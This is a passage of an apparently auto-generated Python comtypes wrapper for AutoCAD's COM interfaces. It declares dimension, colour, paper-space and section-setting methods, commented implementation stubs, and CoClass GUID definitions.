'bVal' )),\n COMMETHOD([dispid(57), 'propput'], HRESULT, 'SuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(58), 'propget'], HRESULT, 'ToleranceSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(58), 'propput'], HRESULT, 'ToleranceSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(59), 'propget'], HRESULT, 'ToleranceSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(59), 'propput'], HRESULT, 'ToleranceSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(60), 'propget'], HRESULT, 'DimensionLineWeight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'weight' )),\n COMMETHOD([dispid(60), 'propput'], HRESULT, 'DimensionLineWeight',\n ( ['in'], ACAD_LWEIGHT, 'weight' )),\n COMMETHOD([dispid(61), 'propget'], HRESULT, 'ArrowheadSize',\n ( ['out', 'retval'], POINTER(c_double), 'size' )),\n COMMETHOD([dispid(61), 'propput'], HRESULT, 'ArrowheadSize',\n ( ['in'], c_double, 'size' )),\n COMMETHOD([dispid(62), 'propget'], HRESULT, 'Arrowhead1Type',\n ( ['out', 'retval'], POINTER(AcDimArrowheadType), 'Type' )),\n COMMETHOD([dispid(62), 'propput'], HRESULT, 'Arrowhead1Type',\n ( ['in'], AcDimArrowheadType, 'Type' )),\n COMMETHOD([dispid(63), 'propget'], HRESULT, 'Arrowhead2Type',\n ( ['out', 'retval'], POINTER(AcDimArrowheadType), 'Type' )),\n COMMETHOD([dispid(63), 'propput'], HRESULT, 'Arrowhead2Type',\n ( ['in'], AcDimArrowheadType, 'Type' )),\n COMMETHOD([dispid(64), 'propget'], HRESULT, 'Measurement',\n ( ['out', 'retval'], POINTER(c_double), 'bVal' )),\n COMMETHOD([dispid(65), 'nonbrowsable', 'propget'], HRESULT, 'Arrowhead1Block',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(65), 'nonbrowsable', 'propput'], HRESULT, 'Arrowhead1Block',\n ( ['in'], BSTR, 'BlockName' )),\n COMMETHOD([dispid(66), 'nonbrowsable', 'propget'], HRESULT, 'Arrowhead2Block',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(66), 'nonbrowsable', 'propput'], HRESULT, 'Arrowhead2Block',\n ( ['in'], BSTR, 'BlockName' )),\n COMMETHOD([dispid(68), 'propget'], HRESULT, 'ArcPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(68), 'propput'], HRESULT, 'ArcPoint',\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(69), 'propget'], HRESULT, 'ExtLine1Point',\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(69), 'propput'], HRESULT, 'ExtLine1Point',\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(70), 'propget'], HRESULT, 'ExtLine2Point',\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(70), 'propput'], HRESULT, 'ExtLine2Point',\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(71), 'propget'], HRESULT, 'CenterPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(71), 'propput'], HRESULT, 'CenterPoint',\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(72), 'propget'], HRESULT, 'Leader1Point',\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(72), 'propput'], HRESULT, 'Leader1Point',\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(73), 'propget'], HRESULT, 'Leader2Point',\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(73), 'propput'], HRESULT, 'Leader2Point',\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(74), 'propget'], HRESULT, 'IsPartial',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pVal' )),\n COMMETHOD([dispid(74), 'propput'], HRESULT, 'IsPartial',\n ( ['in'], VARIANT_BOOL, 'pVal' )),\n COMMETHOD([dispid(75), 'propget'], HRESULT, 'ArcStartParam',\n ( ['out', 'retval'], POINTER(c_double), 'pVal' )),\n COMMETHOD([dispid(75), 'propput'], HRESULT, 'ArcStartParam',\n ( ['in'], c_double, 'pVal' )),\n COMMETHOD([dispid(76), 'propget'], HRESULT, 'ArcEndParam',\n ( ['out', 'retval'], POINTER(c_double), 'pVal' )),\n COMMETHOD([dispid(76), 'propput'], HRESULT, 'ArcEndParam',\n ( ['in'], c_double, 'pVal' )),\n COMMETHOD([dispid(77), 'propget'], HRESULT, 'HasLeader',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pVal' )),\n COMMETHOD([dispid(77), 'propput'], HRESULT, 'HasLeader',\n ( ['in'], VARIANT_BOOL, 'pVal' )),\n COMMETHOD([dispid(67), 'propget'], HRESULT, 'SymbolPosition',\n ( ['out', 'retval'], POINTER(AcDimArcLengthSymbol), 'Position' )),\n COMMETHOD([dispid(67), 'propput'], HRESULT, 'SymbolPosition',\n ( ['in'], AcDimArcLengthSymbol, 'Position' )),\n COMMETHOD([dispid(80), 'propget'], HRESULT, 'DimensionLinetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(80), 'propput'], HRESULT, 'DimensionLinetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(81), 'propget'], HRESULT, 'ExtLine1Linetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(81), 'propput'], HRESULT, 'ExtLine1Linetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(82), 'propget'], HRESULT, 'ExtLine2Linetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(82), 'propput'], HRESULT, 'ExtLine2Linetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(83), 'propget'], HRESULT, 'ExtLineFixedLenSuppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bFixedLen' )),\n COMMETHOD([dispid(83), 'propput'], HRESULT, 'ExtLineFixedLenSuppress',\n ( ['in'], VARIANT_BOOL, 'bFixedLen' )),\n COMMETHOD([dispid(84), 'propget'], HRESULT, 'ExtLineFixedLen',\n ( ['out', 'retval'], POINTER(c_double), 'FixedLen' )),\n COMMETHOD([dispid(84), 'propput'], HRESULT, 'ExtLineFixedLen',\n ( ['in'], c_double, 'FixedLen' )),\n COMMETHOD([dispid(1574), 'propget'], HRESULT, 'SubUnitsSuffix',\n ( ['out', 'retval'], POINTER(BSTR), 'suffix' )),\n COMMETHOD([dispid(1574), 'propput'], HRESULT, 'SubUnitsSuffix',\n ( ['in'], BSTR, 'suffix' )),\n COMMETHOD([dispid(1575), 'propget'], HRESULT, 'SubUnitsFactor',\n ( ['out', 'retval'], POINTER(c_double), 'factor' )),\n COMMETHOD([dispid(1575), 'propput'], HRESULT, 'SubUnitsFactor',\n ( ['in'], c_double, 'factor' )),\n COMMETHOD([dispid(1576), 'propget'], HRESULT, 'AltSubUnitsSuffix',\n ( ['out', 'retval'], POINTER(BSTR), 'suffix' )),\n COMMETHOD([dispid(1576), 'propput'], HRESULT, 'AltSubUnitsSuffix',\n ( ['in'], BSTR, 'suffix' )),\n COMMETHOD([dispid(1577), 'propget'], HRESULT, 'AltSubUnitsFactor',\n ( ['out', 'retval'], POINTER(c_double), 'factor' )),\n COMMETHOD([dispid(1577), 'propput'], HRESULT, 'AltSubUnitsFactor',\n ( ['in'], c_double, 'factor' )),\n]\n################################################################\n## code template for IAcadDimArcLength implementation\n##class IAcadDimArcLength_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return bAlternate\n## def _set(self, bAlternate):\n## '-no docstring-'\n## AltUnits = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return precision\n## def _set(self, precision):\n## '-no docstring-'\n## AltUnitsPrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return scale\n## def _set(self, scale):\n## '-no docstring-'\n## AltUnitsScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## AltRoundDistance = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## AltTolerancePrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Units\n## def _set(self, Units):\n## '-no docstring-'\n## AltUnitsFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return prefix\n## def _set(self, prefix):\n## '-no docstring-'\n## AltTextPrefix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return prefix\n## def _set(self, prefix):\n## '-no docstring-'\n## AltTextSuffix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## DimensionLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## ExtensionLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Prec\n## def _set(self, Prec):\n## '-no docstring-'\n## PrimaryUnitsPrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return extend\n## def _set(self, extend):\n## '-no docstring-'\n## DimensionLineExtend = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return extend\n## def _set(self, extend):\n## '-no docstring-'\n## ExtensionLineExtend = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fittype\n## def _set(self, fittype):\n## '-no docstring-'\n## Fit = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## FractionFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## HorizontalTextPosition = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## LinearScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return format\n## def _set(self, format):\n## '-no docstring-'\n## UnitsFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return lweight\n## def _set(self, lweight):\n## '-no docstring-'\n## ExtensionLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## RoundDistance = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## DimLine1Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## DimLine2Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## ExtLine1Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## ExtLine2Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## DimLineInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextInsideAlign = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## ForceLineInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextOutsideAlign = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Offset\n## def _set(self, Offset):\n## '-no docstring-'\n## ExtensionLineOffset = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressLeadingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressTrailingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressLeadingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressTrailingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## SuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## SuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## ToleranceSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## ToleranceSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return weight\n## def _set(self, weight):\n## '-no docstring-'\n## DimensionLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return size\n## def _set(self, size):\n## '-no docstring-'\n## ArrowheadSize = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## Arrowhead1Type = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## Arrowhead2Type = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Measurement(self):\n## '-no docstring-'\n## #return bVal\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## Arrowhead1Block = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## Arrowhead2Block = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## ArcPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## ExtLine1Point = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## ExtLine2Point = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## CenterPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## Leader1Point = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## Leader2Point = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## IsPartial = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## ArcStartParam = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## ArcEndParam = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## HasLeader = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Position\n## def _set(self, Position):\n## '-no docstring-'\n## SymbolPosition = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## DimensionLinetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## ExtLine1Linetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## ExtLine2Linetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bFixedLen\n## def _set(self, bFixedLen):\n## '-no docstring-'\n## ExtLineFixedLenSuppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return FixedLen\n## def _set(self, FixedLen):\n## '-no docstring-'\n## ExtLineFixedLen = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return suffix\n## def _set(self, suffix):\n## '-no docstring-'\n## SubUnitsSuffix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return factor\n## def _set(self, factor):\n## '-no docstring-'\n## SubUnitsFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return suffix\n## def _set(self, suffix):\n## '-no docstring-'\n## AltSubUnitsSuffix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return factor\n## def _set(self, factor):\n## '-no docstring-'\n## AltSubUnitsFactor = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadTextStyle(CoClass):\n _reg_clsid_ = GUID('{5E5580AD-5750-4DB1-85AA-D15BC2A4F6E8}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadTextStyle._com_interfaces_ = [IAcadTextStyle]\nAcadTextStyle._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadView(CoClass):\n _reg_clsid_ = GUID('{3AA0D898-AF91-4BFD-871B-6884F741F74A}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadView._com_interfaces_ = [IAcadView]\nAcadView._outgoing_interfaces_ = [IAcadObjectEvents]\n\nIAcadAcCmColor._methods_ = [\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'EntityColor',\n ( ['in'], c_int, 'eColor' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'EntityColor',\n ( ['out', 'retval'], POINTER(c_int), 'eColor' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'ColorName',\n ( ['out', 'retval'], POINTER(BSTR), 'Name' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'BookName',\n ( ['out', 'retval'], POINTER(BSTR), 'Name' )),\n COMMETHOD([dispid(4)], HRESULT, 'SetNames',\n ( ['in'], BSTR, 'ColorName' ),\n ( ['in'], BSTR, 'BookName' )),\n COMMETHOD([dispid(5)], HRESULT, 'Delete'),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Red',\n ( ['out', 'retval'], POINTER(c_int), 'Red' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'Blue',\n ( ['out', 'retval'], POINTER(c_int), 'Blue' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'Green',\n ( ['out', 'retval'], POINTER(c_int), 'Green' )),\n COMMETHOD([dispid(9)], HRESULT, 'SetRGB',\n ( ['in'], c_int, 'Red' ),\n ( ['in'], c_int, 'Green' ),\n ( ['in'], c_int, 'Blue' )),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'ColorMethod',\n ( ['in'], AcColorMethod, 'Flags' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'ColorMethod',\n ( ['out', 'retval'], POINTER(AcColorMethod), 'Flags' )),\n COMMETHOD([dispid(17), 'propget'], HRESULT, 'ColorIndex',\n ( ['out', 'retval'], POINTER(AcColor), 'color' )),\n COMMETHOD([dispid(17), 'propput'], HRESULT, 'ColorIndex',\n ( ['in'], AcColor, 'color' )),\n COMMETHOD([dispid(18)], HRESULT, 'SetColorBookColor',\n ( ['in'], BSTR, 'BookName' ),\n ( ['in'], BSTR, 'ColorName' )),\n]\n################################################################\n## code template for IAcadAcCmColor implementation\n##class IAcadAcCmColor_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return eColor\n## def _set(self, eColor):\n## '-no docstring-'\n## EntityColor = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def ColorName(self):\n## '-no docstring-'\n## #return Name\n##\n## @property\n## def BookName(self):\n## '-no docstring-'\n## #return Name\n##\n## def SetNames(self, ColorName, BookName):\n## '-no docstring-'\n## #return \n##\n## def Delete(self):\n## '-no docstring-'\n## #return \n##\n## @property\n## def Red(self):\n## '-no docstring-'\n## #return Red\n##\n## @property\n## def Blue(self):\n## '-no docstring-'\n## #return Blue\n##\n## @property\n## def Green(self):\n## '-no docstring-'\n## #return Green\n##\n## def SetRGB(self, Red, Green, Blue):\n## '-no docstring-'\n## #return \n##\n## def _get(self):\n## '-no docstring-'\n## #return Flags\n## def _set(self, Flags):\n## '-no docstring-'\n## ColorMethod = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return color\n## def _set(self, color):\n## '-no docstring-'\n## ColorIndex = property(_get, _set, doc = _set.__doc__)\n##\n## def SetColorBookColor(self, BookName, ColorName):\n## '-no docstring-'\n## #return \n##\n\nclass AcadUCS(CoClass):\n _reg_clsid_ = GUID('{37C0E6FF-F35A-4498-B53A-F6EF190364CF}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadUCS._com_interfaces_ = [IAcadUCS]\nAcadUCS._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadGroup(CoClass):\n _reg_clsid_ = GUID('{3A028ECB-FD98-466D-9DD1-7BE3ABFD219B}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadGroup._com_interfaces_ = [IAcadGroup]\nAcadGroup._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadPlotConfiguration(CoClass):\n _reg_clsid_ = GUID('{E8D2BE0B-FC02-44E6-A9CE-6C8F3F9AC28E}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadPlotConfiguration._com_interfaces_ = [IAcadPlotConfiguration]\nAcadPlotConfiguration._outgoing_interfaces_ = [IAcadObjectEvents]\n\nIAcadPaperSpace._methods_ = [\n COMMETHOD([dispid(1)], HRESULT, 'AddPViewport',\n ( ['in'], VARIANT, 'Center' ),\n ( ['in'], c_double, 'Width' ),\n ( ['in'], c_double, 'Height' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadPViewport)), 'pPViewport' )),\n]\n################################################################\n## code template for IAcadPaperSpace implementation\n##class IAcadPaperSpace_Impl(object):\n## def AddPViewport(self, Center, Width, Height):\n## '-no docstring-'\n## #return pPViewport\n##\n\nclass AcadLayout(CoClass):\n _reg_clsid_ = GUID('{D9E05C36-B6DF-497E-8B17-A7E464D5AE38}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadLayout._com_interfaces_ = [IAcadLayout]\nAcadLayout._outgoing_interfaces_ = [IAcadObjectEvents]\n\nIAcadSectionTypeSettings._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'GenerationOptions',\n ( ['out', 'retval'], POINTER(AcSectionGeneration), 'pVal' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'GenerationOptions',\n ( ['in'], AcSectionGeneration, 'pVal' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'SourceObjects',\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'SourceObjects',\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'DestinationBlock',\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'DestinationBlock',\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'DestinationFile',\n ( ['out', 'retval'], POINTER(BSTR), 'pVal' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'DestinationFile',\n ( ['in'], BSTR, 'pVal' )),\n COMMETHOD([dispid(51), 'propget'], HRESULT, 'IntersectionBoundaryColor',\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(51), 'propput'], HRESULT, 'IntersectionBoundaryColor',\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(52), 'propget'], HRESULT, 'IntersectionBoundaryLayer',\n ( ['out', 'retval'], POINTER(BSTR), 'Layer' )),\n COMMETHOD([dispid(52), 'propput'], HRESULT, 'IntersectionBoundaryLayer',\n ( ['in'], BSTR, 'Layer' )),\n COMMETHOD([dispid(53), 'propget'], HRESULT, 'IntersectionBoundaryLinetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(53), 'propput'], HRESULT, 'IntersectionBoundaryLinetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(54), 'propget'], HRESULT, 'IntersectionBoundaryLinetypeScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'ltScale' )),\n COMMETHOD([dispid(54), 'propput'], HRESULT, 'IntersectionBoundaryLinetypeScale',\n ( ['in'], ACAD_NOUNITS, 'ltScale' )),\n COMMETHOD([dispid(55), 'propget'], HRESULT, 'IntersectionBoundaryPlotStyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'plotStyle' )),\n COMMETHOD([dispid(55), 'propput'], HRESULT, 'IntersectionBoundaryPlotStyleName',\n ( ['in'], BSTR, 'plotStyle' )),\n COMMETHOD([dispid(56), 'propget'], HRESULT, 'IntersectionBoundaryLineweight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'Lineweight' )),\n COMMETHOD([dispid(56), 'propput'], HRESULT, 'IntersectionBoundaryLineweight',\n ( ['in'], ACAD_LWEIGHT, 'Lineweight' )),\n COMMETHOD([dispid(57), 'propget'], HRESULT, 'IntersectionBoundaryDivisionLines',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pVal' )),\n COMMETHOD([dispid(57), 'propput'], HRESULT, 'IntersectionBoundaryDivisionLines',\n ( ['in'], VARIANT_BOOL, 'pVal' )),\n COMMETHOD([dispid(71), 'propget'], HRESULT, 'IntersectionFillVisible',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pVal' )),\n COMMETHOD([dispid(71), 'propput'], 